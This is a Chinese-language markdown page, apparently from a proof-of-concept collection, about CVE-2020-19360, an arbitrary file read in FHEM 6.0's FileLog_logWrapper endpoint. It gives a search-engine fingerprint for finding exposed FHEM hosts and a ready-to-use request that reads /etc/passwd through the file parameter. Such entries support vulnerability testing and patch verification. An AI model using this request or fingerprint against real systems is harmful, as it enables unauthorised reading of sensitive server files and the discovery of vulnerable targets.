Awesome-POC/Web应用漏洞/Fhem FileLog_logWrapper 任意文件读取漏洞 CVE-2020-19360.md
2024-11-06 14:10:36 +08:00

31 lines
587 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Fhem FileLog_logWrapper 任意文件读取漏洞 CVE-2020-19360
## 漏洞描述
FHEM在6.0版本中存在文件包含漏洞该漏洞源于允许FHEM/FileLog_logWrapper file参数允许攻击者包含文件攻击者可以利用此漏洞导致敏感信息泄露。
## 漏洞影响
```
FHEM 6.0
```
## 网络测绘
```
title=="Home, Sweet Home"
```
## 漏洞复现
主页面
![image-20220524144941606](images/202205241449644.png)
验证POC
```
/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text
```
![image-20220524144955698](images/202205241449759.png)